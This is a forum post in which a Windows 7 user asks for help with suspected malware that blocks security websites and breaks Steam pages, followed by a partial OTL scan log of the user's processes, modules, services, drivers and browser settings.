Hello,
I've got a problem on my computer that has caused some websites to be blocked such as bleepingcomputer and malwarebytes. Steam is also missing images and store websites not loading properly , I have tried scanning with microsoft security essential and it has found nothing. I suspect this malware is blocking helpful websites that can remove it. At least it hasnt blocked off this website. I removed it before with combofix but now its back. Here's my OTL Log :
OTL logfile created on: 3/7/2015 2:09:49 PM - Run 1
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Jopi\Desktop
64bit- Home Premium Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17633)
Locale: 00000409 | Country: United States | Language: ENU | Date Format: M/d/yyyy
12.00 Gb Total Physical Memory | 9.58 Gb Available Physical Memory | 79.83% Memory free
23.99 Gb Paging File | 21.06 Gb Available in Paging File | 87.77% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]
%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 74.42 Gb Total Space | 6.33 Gb Free Space | 8.50% Space Free | Partition Type: NTFS
Drive D: | 465.63 Gb Total Space | 27.85 Gb Free Space | 5.98% Space Free | Partition Type: NTFS
Computer Name: JOPI-PC | User Name: Jopi | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: Current user | Quick Scan | Include 64bit Scans
Company Name Whitelist: On | Skip Microsoft Files: On | No Company Name Whitelist: On | File Age = 30 Days
========== Processes (SafeList) ==========
PRC - [2015/03/07 14:09:33 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\Jopi\Desktop\OTL.exe
PRC - [2015/03/07 00:32:31 | 000,376,944 | ---- | M] (Mozilla Corporation) -- C:\Program Files (x86)\Mozilla Firefox\firefox.exe
PRC - [2015/02/28 03:21:38 | 000,045,840 | ---- | M] (Raptr, Inc) -- C:\Program Files (x86)\Raptr\raptr_im.exe
PRC - [2015/02/28 03:21:36 | 000,067,344 | ---- | M] (Raptr, Inc) -- C:\Program Files (x86)\Raptr\raptr.exe
PRC - [2015/02/19 07:51:20 | 001,543,872 | ---- | M] (Valve Corporation) -- D:\Games\Steam\bin\steamwebhelper.exe
PRC - [2015/02/19 07:51:18 | 002,874,048 | ---- | M] (Valve Corporation) -- D:\Games\Steam\Steam.exe
PRC - [2015/02/17 18:21:56 | 003,978,600 | ---- | M] (LogMeIn Inc.) -- D:\Program Files\LogMeIn Hamachi\hamachi-2-ui.exe
PRC - [2015/02/06 01:57:45 | 000,410,952 | ---- | M] (NVIDIA Corporation) -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
PRC - [2015/01/20 20:20:20 | 000,055,896 | ---- | M] () -- D:\Games\Garena Plus\ggdllhost.exe
PRC - [2015/01/20 20:20:17 | 009,981,528 | ---- | M] () -- D:\Games\Garena Plus\GarenaMessenger.exe
PRC - [2015/01/20 20:20:17 | 000,604,760 | ---- | M] () -- D:\Games\Garena Plus\UpdateEx.exe
PRC - [2014/12/19 08:48:18 | 000,081,088 | ---- | M] (Adobe Systems Incorporated) -- C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
PRC - [2014/11/28 11:43:46 | 000,076,152 | ---- | M] () -- C:\Windows\SysWOW64\PnkBstrA.exe
PRC - [2014/11/07 01:08:04 | 002,464,072 | ---- | M] (NVIDIA Corporation) -- C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe
PRC - [2014/11/07 01:07:54 | 001,795,912 | ---- | M] (NVIDIA Corporation) -- C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
PRC - [2014/10/29 23:26:06 | 004,673,432 | ---- | M] (Akamai Technologies, Inc.) -- C:\Users\Jopi\AppData\Local\Akamai\netsession_win.exe
PRC - [2014/07/14 18:21:46 | 001,390,176 | ---- | M] (Microsoft Corporation) -- C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe
PRC - [2014/07/14 18:21:06 | 001,767,520 | ---- | M] (Microsoft Corporation) -- C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe
PRC - [2014/06/16 18:11:58 | 005,037,888 | ---- | M] (TeamViewer GmbH) -- C:\Program Files (x86)\TeamViewer\Version9\TeamViewer_Service.exe
PRC - [2014/02/25 19:38:48 | 000,105,448 | ---- | M] (Razer Inc.) -- D:\Games\Razer Game Booster\RzKLService.exe
========== Modules (No Company Name) ==========
MOD - [2015/02/27 03:01:18 | 002,528,000 | ---- | M] () -- C:\Program Files (x86)\Raptr\ltc_host_ex.dll
MOD - [2015/02/19 07:51:40 | 002,360,000 | ---- | M] () -- D:\Games\Steam\video.dll
MOD - [2015/02/19 07:51:18 | 000,702,656 | ---- | M] () -- D:\Games\Steam\bin\chromehtml.dll
MOD - [2015/02/11 16:56:10 | 000,034,752 | ---- | M] () -- D:\Games\Garena Plus\VersionModule.dll
MOD - [2015/01/28 12:04:04 | 000,962,136 | ---- | M] () -- D:\Games\Garena Plus\Plugins\ggplugin.dll
MOD - [2015/01/28 09:30:26 | 034,641,288 | ---- | M] () -- D:\Games\Steam\bin\libcef.dll
MOD - [2015/01/28 09:30:24 | 001,709,960 | ---- | M] () -- D:\Games\Steam\bin\ffmpegsumo.dll
MOD - [2015/01/20 20:20:42 | 000,177,240 | ---- | M] () -- D:\Games\Garena Plus\lib\fs\YYFileSystem.dll
MOD - [2015/01/20 20:20:42 | 000,074,840 | ---- | M] () -- D:\Games\Garena Plus\lib\delay_load\UdtLib.dll
MOD - [2015/01/20 20:20:41 | 000,523,352 | ---- | M] () -- D:\Games\Garena Plus\lib\delay_load\RSALib.dll
MOD - [2015/01/20 20:20:41 | 000,251,480 | ---- | M] () -- D:\Games\Garena Plus\lib\delay_load\MediaEngine.dll
MOD - [2015/01/20 20:20:40 | 000,962,648 | ---- | M] () -- D:\Games\Garena Plus\lib\delay_load\GaFileTransfer.dll
MOD - [2015/01/20 20:20:39 | 001,551,960 | ---- | M] () -- D:\Games\Garena Plus\lib\delay_load\FileSender.dll
MOD - [2015/01/20 20:20:39 | 000,023,128 | ---- | M] () -- D:\Games\Garena Plus\lib\delay_load\ClientTcp.dll
MOD - [2015/01/20 20:20:38 | 000,072,280 | ---- | M] () -- D:\Games\Garena Plus\lib\delay_load\AudioMixerLib.dll
MOD - [2015/01/20 20:20:38 | 000,061,528 | ---- | M] () -- D:\Games\Garena Plus\lib\XmlUIModule.dll
MOD - [2015/01/20 20:20:37 | 000,964,696 | ---- | M] () -- D:\Games\Garena Plus\lib\XLL.dll
MOD - [2015/01/20 20:20:36 | 000,226,392 | ---- | M] () -- D:\Games\Garena Plus\lib\TaskManagerLib.dll
MOD - [2015/01/20 20:20:36 | 000,112,728 | ---- | M] () -- D:\Games\Garena Plus\lib\UILayout.dll
MOD - [2015/01/20 20:20:35 | 000,380,504 | ---- | M] () -- D:\Games\Garena Plus\lib\Http.dll
MOD - [2015/01/20 20:20:35 | 000,191,064 | ---- | M] () -- D:\Games\Garena Plus\lib\MP3Module.dll
MOD - [2015/01/20 20:20:34 | 000,231,000 | ---- | M] () -- D:\Games\Garena Plus\Plugins\StatsPlugin.dll
MOD - [2015/01/20 20:20:31 | 000,043,608 | ---- | M] () -- D:\Games\Garena Plus\Zip7Module.dll
MOD - [2015/01/20 20:20:29 | 000,032,856 | ---- | M] () -- D:\Games\Garena Plus\ServerMemAlloc.dll
MOD - [2015/01/20 20:20:29 | 000,031,832 | ---- | M] () -- D:\Games\Garena Plus\PluginModule.dll
MOD - [2015/01/20 20:20:28 | 000,161,880 | ---- | M] () -- D:\Games\Garena Plus\libmpg123.dll
MOD - [2015/01/20 20:20:28 | 000,093,784 | ---- | M] () -- D:\Games\Garena Plus\PluginKernel.dll
MOD - [2015/01/20 20:20:26 | 000,199,256 | ---- | M] () -- D:\Games\Garena Plus\ImageModule.dll
MOD - [2015/01/20 20:20:24 | 000,560,216 | ---- | M] () -- D:\Games\Garena Plus\ggspawn.dll
MOD - [2015/01/20 20:20:23 | 002,947,672 | ---- | M] () -- D:\Games\Garena Plus\ggdownloader.dll
MOD - [2015/01/20 20:20:22 | 000,057,944 | ---- | M] () -- D:\Games\Garena Plus\FileLoader.dll
MOD - [2015/01/20 20:20:22 | 000,040,024 | ---- | M] () -- D:\Games\Garena Plus\DibModule.dll
MOD - [2015/01/20 20:20:21 | 000,493,656 | ---- | M] () -- D:\Games\Garena Plus\CxImage.dll
MOD - [2015/01/20 20:20:21 | 000,111,192 | ---- | M] () -- D:\Games\Garena Plus\CommonLib.dll
MOD - [2015/01/20 20:20:20 | 000,055,896 | ---- | M] () -- D:\Games\Garena Plus\ggdllhost.exe
MOD - [2015/01/20 20:20:17 | 009,981,528 | ---- | M] () -- D:\Games\Garena Plus\GarenaMessenger.exe
MOD - [2015/01/20 20:20:17 | 000,604,760 | ---- | M] () -- D:\Games\Garena Plus\UpdateEx.exe
MOD - [2014/12/02 08:29:50 | 005,002,752 | ---- | M] () -- D:\Games\Steam\v8.dll
MOD - [2014/12/02 08:29:34 | 001,612,800 | ---- | M] () -- D:\Games\Steam\icui18n.dll
MOD - [2014/12/02 08:29:34 | 001,210,368 | ---- | M] () -- D:\Games\Steam\icuuc.dll
MOD - [2014/12/02 05:31:16 | 002,396,672 | ---- | M] () -- D:\Games\Steam\libavcodec-56.dll
MOD - [2014/12/02 05:31:16 | 000,485,888 | ---- | M] () -- D:\Games\Steam\libswscale-3.dll
MOD - [2014/12/02 05:31:16 | 000,479,744 | ---- | M] () -- D:\Games\Steam\libavformat-56.dll
MOD - [2014/12/02 05:31:16 | 000,442,880 | ---- | M] () -- D:\Games\Steam\libavutil-54.dll
MOD - [2014/12/02 05:31:16 | 000,332,800 | ---- | M] () -- D:\Games\Steam\libavresample-2.dll
MOD - [2014/11/12 02:47:56 | 000,774,656 | ---- | M] () -- D:\Games\Steam\SDL2.dll
MOD - [2014/08/14 08:37:36 | 002,396,691 | ---- | M] () -- C:\Program Files (x86)\Raptr\libvlccore.dll
MOD - [2014/08/14 08:37:36 | 000,113,171 | ---- | M] () -- C:\Program Files (x86)\Raptr\libvlc.dll
MOD - [2014/06/18 08:56:00 | 002,717,595 | ---- | M] () -- C:\Program Files (x86)\Raptr\heliotrope._purple.pyd
MOD - [2014/05/14 07:26:54 | 001,662,464 | ---- | M] () -- C:\Program Files (x86)\Raptr\PyQt4.QtCore.pyd
MOD - [2014/05/14 07:26:54 | 000,494,592 | ---- | M] () -- C:\Program Files (x86)\Raptr\PyQt4.QtNetwork.pyd
MOD - [2014/05/14 07:26:52 | 005,812,736 | ---- | M] () -- C:\Program Files (x86)\Raptr\PyQt4.QtGui.pyd
MOD - [2014/05/14 07:26:52 | 000,313,856 | ---- | M] () -- C:\Program Files (x86)\Raptr\PyQt4.QtWebKit.pyd
MOD - [2014/05/14 07:26:40 | 000,067,584 | ---- | M] () -- C:\Program Files (x86)\Raptr\sip.pyd
MOD - [2013/11/21 08:05:26 | 000,256,000 | ---- | M] () -- C:\Program Files (x86)\Raptr\amd_ags.dll
MOD - [2013/05/10 07:52:58 | 001,183,699 | ---- | M] () -- C:\Program Files (x86)\Raptr\liboscar.dll
MOD - [2013/05/10 07:52:58 | 000,483,306 | ---- | M] () -- C:\Program Files (x86)\Raptr\plugins\libicq.dll
MOD - [2013/05/10 07:52:56 | 000,495,680 | ---- | M] () -- C:\Program Files (x86)\Raptr\plugins\libaim.dll
MOD - [2013/05/04 02:57:16 | 001,640,221 | ---- | M] () -- C:\Program Files (x86)\Raptr\libjabber.dll
MOD - [2013/05/04 02:57:14 | 001,053,730 | ---- | M] () -- C:\Program Files (x86)\Raptr\libymsg.dll
MOD - [2013/05/04 02:57:06 | 000,655,356 | ---- | M] () -- C:\Program Files (x86)\Raptr\plugins\libirc.dll
MOD - [2013/05/04 02:57:04 | 000,603,326 | ---- | M] () -- C:\Program Files (x86)\Raptr\plugins\ssl-nss.dll
MOD - [2013/05/04 02:57:02 | 000,474,199 | ---- | M] () -- C:\Program Files (x86)\Raptr\plugins\ssl.dll
MOD - [2013/05/04 02:57:00 | 000,497,782 | ---- | M] () -- C:\Program Files (x86)\Raptr\plugins\libyahoojp.dll
MOD - [2013/05/04 02:56:50 | 001,306,387 | ---- | M] () -- C:\Program Files (x86)\Raptr\plugins\libmsn.dll
MOD - [2013/05/04 02:56:46 | 000,565,461 | ---- | M] () -- C:\Program Files (x86)\Raptr\plugins\libxmpp.dll
MOD - [2013/05/04 02:56:44 | 000,506,276 | ---- | M] () -- C:\Program Files (x86)\Raptr\plugins\libyahoo.dll
MOD - [2013/02/01 13:42:28 | 000,153,088 | ---- | M] () -- D:\Games\Garena Plus\libzmq.dll
MOD - [2012/02/22 16:52:18 | 000,162,304 | ---- | M] () -- D:\Games\Garena Plus\lame_enc.dll
MOD - [2012/02/22 16:52:16 | 000,573,100 | ---- | M] () -- D:\Games\Garena Plus\sqlite3.dll
MOD - [2011/02/16 02:17:28 | 001,213,633 | ---- | M] () -- C:\Program Files (x86)\Raptr\libxml2-2.dll
MOD - [2011/02/16 02:17:28 | 000,417,501 | ---- | M] () -- C:\Program Files (x86)\Raptr\sqlite3.dll
MOD - [2010/11/23 07:06:22 | 000,055,808 | ---- | M] () -- C:\Program Files (x86)\Raptr\zlib1.dll
MOD - [2010/11/23 06:57:34 | 000,167,936 | ---- | M] () -- C:\Program Files (x86)\Raptr\win32gui.pyd
MOD - [2010/11/23 06:57:34 | 000,111,104 | ---- | M] () -- C:\Program Files (x86)\Raptr\win32file.pyd
MOD - [2010/11/23 06:57:34 | 000,096,256 | ---- | M] () -- C:\Program Files (x86)\Raptr\win32api.pyd
MOD - [2010/11/23 06:57:34 | 000,036,352 | ---- | M] () -- C:\Program Files (x86)\Raptr\win32process.pyd
MOD - [2010/11/23 06:57:34 | 000,016,384 | ---- | M] () -- C:\Program Files (x86)\Raptr\win32trace.pyd
MOD - [2010/11/23 06:57:18 | 000,141,312 | ---- | M] () -- C:\Program Files (x86)\Raptr\gobject._gobject.pyd
MOD - [2010/11/23 06:57:06 | 000,263,168 | ---- | M] () -- C:\Program Files (x86)\Raptr\win32com.shell.shell.pyd
MOD - [2010/11/23 06:56:56 | 000,354,304 | ---- | M] () -- C:\Program Files (x86)\Raptr\pythoncom26.dll
MOD - [2010/11/23 06:56:56 | 000,110,592 | ---- | M] () -- C:\Program Files (x86)\Raptr\pywintypes26.dll
MOD - [2010/11/23 06:56:26 | 000,324,608 | ---- | M] () -- C:\Program Files (x86)\Raptr\PIL._imaging.pyd
MOD - [2010/11/23 06:56:02 | 000,805,376 | ---- | M] () -- C:\Program Files (x86)\Raptr\_ssl.pyd
MOD - [2010/11/23 06:56:02 | 000,583,680 | ---- | M] () -- C:\Program Files (x86)\Raptr\unicodedata.pyd
MOD - [2010/11/23 06:56:02 | 000,356,864 | ---- | M] () -- C:\Program Files (x86)\Raptr\_hashlib.pyd
MOD - [2010/11/23 06:56:02 | 000,127,488 | ---- | M] () -- C:\Program Files (x86)\Raptr\pyexpat.pyd
MOD - [2010/11/23 06:56:02 | 000,087,040 | ---- | M] () -- C:\Program Files (x86)\Raptr\_ctypes.pyd
MOD - [2010/11/23 06:56:02 | 000,044,544 | ---- | M] () -- C:\Program Files (x86)\Raptr\_sqlite3.pyd
MOD - [2010/11/23 06:56:02 | 000,043,008 | ---- | M] () -- C:\Program Files (x86)\Raptr\_socket.pyd
MOD - [2010/11/23 06:56:02 | 000,010,240 | ---- | M] () -- C:\Program Files (x86)\Raptr\select.pyd
MOD - [2010/11/23 06:56:02 | 000,009,216 | ---- | M] () -- C:\Program Files (x86)\Raptr\winsound.pyd
MOD - [2010/01/21 01:34:10 | 008,793,952 | ---- | M] () -- C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveIntlResource.dll
MOD - [2010/01/09 20:18:18 | 004,254,560 | ---- | M] () -- C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Cultures\OFFICE.ODF
========== Services (SafeList) ==========
SRV:64bit: - [2015/01/30 03:15:10 | 000,366,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- c:\Program Files\Microsoft Security Client\NisSrv.exe -- (NisSrv)
SRV:64bit: - [2015/01/30 03:15:10 | 000,023,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- c:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV:64bit: - [2015/01/12 10:34:30 | 000,114,688 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\IEEtwCollector.exe -- (IEEtwCollectorService)
SRV:64bit: - [2014/11/07 01:07:54 | 001,148,744 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe -- (GfExperienceService)
SRV:64bit: - [2014/11/07 01:07:49 | 019,819,848 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamsvc.exe -- (NvStreamSvc)
SRV:64bit: - [2014/09/09 08:44:17 | 000,076,152 | ---- | M] () [Auto | Running] -- C:\Windows\SysNative\PnkBstrA.exe -- (PnkBstrA)
SRV:64bit: - [2013/05/27 13:50:47 | 001,011,712 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)
SRV - [2015/03/07 00:32:30 | 000,148,080 | ---- | M] (Mozilla Foundation) [Disabled | Stopped] -- C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance)
SRV - [2015/03/06 10:09:21 | 000,267,440 | ---- | M] (Adobe Systems Incorporated) [Disabled | Stopped] -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2015/02/25 02:12:01 | 000,009,216 | ---- | M] (Hi-Rez Studios) [Auto | Running] -- D:\Games\Hi-Rez Studios\HiPatchService.exe -- (HiPatchService)
SRV - [2015/02/18 19:38:56 | 000,998,640 | ---- | M] (Overwolf LTD) [On_Demand | Stopped] -- C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe -- (OverwolfUpdater)
SRV - [2015/02/17 18:21:54 | 002,490,216 | ---- | M] (LogMeIn Inc.) [Auto | Running] -- D:\Program Files\LogMeIn Hamachi\hamachi-2.exe -- (Hamachi2Svc)
SRV - [2015/02/06 01:57:45 | 000,410,952 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe -- (Stereo Service)
SRV - [2015/02/03 17:47:59 | 000,182,304 | ---- | M] (EasyAntiCheat Ltd) [On_Demand | Stopped] -- C:\Windows\SysWOW64\EasyAntiCheat.exe -- (EasyAntiCheat)
SRV - [2015/01/30 11:16:01 | 001,910,128 | ---- | M] (Electronic Arts) [On_Demand | Stopped] -- D:\Games\Origin\OriginClientService.exe -- (Origin Client Service)
SRV - [2015/01/23 00:00:31 | 000,076,408 | ---- | M] () [On_Demand | Stopped] -- D:\Games\Survarium\game\binaries\x86\survarium_service.exe -- (Survarium Update Service)
SRV - [2014/12/19 08:48:18 | 000,081,088 | ---- | M] (Adobe Systems Incorporated) [Auto | Running] -- C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe -- (AdobeARMservice)
SRV - [2014/12/11 10:30:48 | 000,315,496 | R--- | M] (Skype Technologies) [Auto | Stopped] -- C:\Program Files (x86)\Skype\Updater\Updater.exe -- (SkypeUpdate)
SRV - [2014/11/28 11:43:46 | 000,076,152 | ---- | M] () [Auto | Running] -- C:\Windows\SysWOW64\PnkBstrA.exe -- (PnkBstrA)
SRV - [2014/11/07 01:07:54 | 001,795,912 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe -- (NvNetworkService)
SRV - [2014/08/14 19:34:34 | 000,049,152 | ---- | M] () [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\BattlEye\BEService.exe -- (BEService)
SRV - [2014/07/14 18:21:46 | 001,390,176 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe -- (c2cautoupdatesvc)
SRV - [2014/07/14 18:21:06 | 001,767,520 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe -- (c2cpnrsvc)
SRV - [2014/06/16 18:11:58 | 005,037,888 | ---- | M] (TeamViewer GmbH) [Auto | Running] -- C:\Program Files (x86)\TeamViewer\Version9\TeamViewer_Service.exe -- (TeamViewer9)
SRV - [2014/04/24 06:01:04 | 000,572,096 | ---- | M] (Valve Corporation) [Disabled | Stopped] -- C:\Program Files (x86)\Common Files\Steam\SteamService.exe -- (Steam Client Service)
SRV - [2014/04/11 23:08:08 | 000,103,608 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -- (clr_optimization_v4.0.30319_32)
SRV - [2014/03/21 06:49:18 | 000,067,224 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe -- (clr_optimization_v2.0.50727_32)
SRV - [2014/02/25 19:38:48 | 000,105,448 | ---- | M] (Razer Inc.) [Auto | Running] -- D:\Games\Razer Game Booster\RzKLService.exe -- (RzKLService)
SRV - [2014/01/22 16:04:00 | 005,267,776 | ---- | M] (INCA Internet Co., Ltd.) [On_Demand | Stopped] -- C:\Windows\SysWOW64\GameMon.des -- (npggsvc)
SRV - [2013/11/29 15:23:38 | 001,296,728 | ---- | M] (www.BitComet.com) [Disabled | Stopped] -- D:\Program Files\BitComet\tools\BitCometService.exe -- (BITCOMET_HELPER_SERVICE)
SRV - [2013/11/06 18:30:44 | 000,758,224 | ---- | M] (Tunngle.net GmbH) [On_Demand | Stopped] -- D:\Games\Tunngle\TnglCtrl.exe -- (TunngleService)
SRV - [2008/11/10 04:48:14 | 000,602,392 | ---- | M] (Yahoo! Inc.) [Disabled | Stopped] -- C:\Program Files (x86)\Yahoo!\SoftwareUpdate\YahooAUService.exe -- (YahooAUService)
========== Driver Services (SafeList) ==========
DRV:64bit: - [2015/03/07 01:49:13 | 000,086,352 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\hxsy64.sys -- (hxsyol)
DRV:64bit: - [2015/02/06 05:01:44 | 000,195,728 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nvhda64v.sys -- (NVHDA)
DRV:64bit: - [2014/12/25 17:57:10 | 000,086,352 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\rakon64.sys -- (rkion)
DRV:64bit: - [2014/11/21 14:55:56 | 000,141,440 | ---- | M] (Oracle Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\VBoxNetAdp.sys -- (VBoxNetAdp)
DRV:64bit: - [2014/11/18 22:46:34 | 000,028,768 | ---- | M] (SoftEther VPN Project at University of Tsukuba, Japan.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\Neo_0058.sys -- (Neo_VPN)
DRV:64bit: - [2014/11/15 14:46:08 | 000,124,560 | ---- | M] (Microsoft Corporation) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\NisDrvWFP.sys -- (NisDrv)
DRV:64bit: - [2014/11/07 01:07:49 | 000,019,784 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys -- (NvStreamKms)
DRV:64bit: - [2014/10/04 03:23:02 | 000,038,216 | ---- | M] (NVIDIA Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nvvad64v.sys -- (nvvad_WaveExtensible)
DRV:64bit: - [2014/08/09 00:31:10 | 000,027,136 | ---- | M] (The OpenVPN Project) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\ptun0901.sys -- (ptun0901)
DRV:64bit: - [2013/12/16 20:56:18 | 000,129,944 | ---- | M] (Power Software Ltd) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\scdemu.sys -- (SCDEmu)
DRV:64bit: - [2013/12/11 08:14:26 | 000,129,472 | ---- | M] (Razer, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\RzDxgk.sys -- (RzDxgk)
DRV:64bit: - [2013/12/11 08:14:26 | 000,074,432 | ---- | M] (Razer, Inc.) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\RzFilter.sys -- (RzFilter)
DRV:64bit: - [2013/02/19 09:30:44 | 000,075,016 | ---- | M] (Dataram, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\RAMDiskVE.sys -- (RAMDiskVE)
DRV:64bit: - [2012/03/01 14:46:16 | 000,023,408 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\Windows\SysNative\drivers\fs_rec.sys -- (Fs_Rec)
DRV:64bit: - [2011/06/10 06:34:52 | 000,539,240 | ---- | M] (Realtek ) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\Rt64win7.sys -- (RTL8167)
DRV:64bit: - [2011/03/11 14:41:12 | 000,107,904 | ---- | M] (Advanced Micro Devices) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsata.sys -- (amdsata)
DRV:64bit: - [2011/03/11 14:41:12 | 000,027,008 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\amdxata.sys -- (amdxata)
DRV:64bit: - [2010/11/20 21:33:35 | 000,078,720 | ---- | M] (Hewlett-Packard Company) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\HpSAMD.sys -- (HpSAMD)
DRV:64bit: - [2010/11/20 19:07:05 | 000,059,392 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbFlt.sys -- (TsUsbFlt)
DRV:64bit: - [2009/09/16 07:02:42 | 000,031,232 | ---- | M] (Tunngle.net) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\tap0901t.sys -- (tap0901t)
DRV:64bit: - [2009/07/14 09:52:20 | 000,194,128 | ---- | M] (AMD Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsbs.sys -- (amdsbs)
DRV:64bit: - [2009/07/14 09:48:04 | 000,065,600 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas2.sys -- (LSI_SAS2)
DRV:64bit: - [2009/07/14 09:45:55 | 000,024,656 | ---- | M] (Promise Technology) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\stexstor.sys -- (stexstor)
DRV:64bit: - [2009/06/11 04:34:33 | 003,286,016 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\evbda.sys -- (ebdrv)
DRV:64bit: - [2009/06/11 04:34:28 | 000,468,480 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bxvbda.sys -- (b06bdrv)
DRV:64bit: - [2009/06/11 04:34:23 | 000,270,848 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\b57nd60a.sys -- (b57nd60a)
DRV:64bit: - [2009/06/11 04:31:59 | 000,031,232 | ---- | M] (Hauppauge Computer Works, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hcw85cir.sys -- (hcw85cir)
DRV:64bit: - [2009/03/18 17:35:42 | 000,033,856 | -H-- | M] (LogMeIn, Inc.) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\hamachi.sys -- (hamachi)
DRV:64bit: - [2005/03/29 01:30:38 | 000,008,192 | ---- | M] () [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\ASACPI.sys -- (MTsensor)
DRV - [2009/07/14 09:19:10 | 000,019,008 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysWOW64\drivers\wimmount.sys -- (WIMMount)
========== Standard Registry (SafeList) ==========
========== Internet Explorer ==========
IE:64bit: - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE:64bit: - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/...ms}&FORM=IE8SRC
IE - HKLM\..\SearchScopes,DefaultScope = {006ee092-9658-4fd6-bd8e-a21a348e59f5}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/...ms}&FORM=IE8SRC
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar = Preserve
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page Redirect Cache AcceptLangs = en-us
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL = http://www.google.com
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Search,SearchAssistant = http://www.google.com
IE - HKCU\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
